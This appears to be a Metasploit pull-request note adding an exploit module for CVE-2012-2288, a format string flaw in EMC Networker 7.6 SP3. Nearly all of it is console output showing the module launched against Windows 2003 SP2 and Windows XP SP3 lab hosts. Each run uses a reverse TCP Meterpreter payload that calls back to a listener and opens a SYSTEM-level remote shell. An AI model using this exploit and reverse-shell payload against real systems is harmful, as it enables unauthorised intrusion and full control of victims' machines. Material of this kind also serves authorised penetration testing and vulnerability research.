Added module for CVE-2012-2288 EMC Networker Format String

Tested successfully on EMC Networker 7.6 SP3

* Windows 2003 sp2 (dep bypass)

<pre>
msf  exploit(emc_networker_format_string) > show options

Module options (exploit/windows/emc/emc_networker_format_string):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.172.136  yes       The target address
   RPORT  111              yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.129    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   EMC Networker 7.6 SP3 / Windows 2003 SP2


msf  exploit(emc_networker_format_string) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Sending stage (752128 bytes) to 192.168.1.129
[*] Meterpreter session 4 opened (192.168.1.129:4444 -> 192.168.1.129:64753) at 2012-11-03 18:12:03 +0100

^C[-] Exploit failed: Interrupt 

meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 4 closed.  Reason: User exit
</pre>

* Windows XP SP3:

<pre>
msf  exploit(emc_networker_format_string) > set rhost 192.168.1.132
rhost => 192.168.1.132
msf  exploit(emc_networker_format_string) > show options

Module options (exploit/windows/emc/emc_networker_format_string):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.132    yes       The target address
   RPORT  111              yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.129    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   EMC Networker 7.6 SP3 / Windows XP SP3

msf  exploit(emc_networker_format_string) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Sending stage (752128 bytes) to 192.168.1.132
[*] Meterpreter session 5 opened (192.168.1.129:4444 -> 192.168.1.132:4618) at 2012-11-03 18:13:07 +0100

^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

</pre>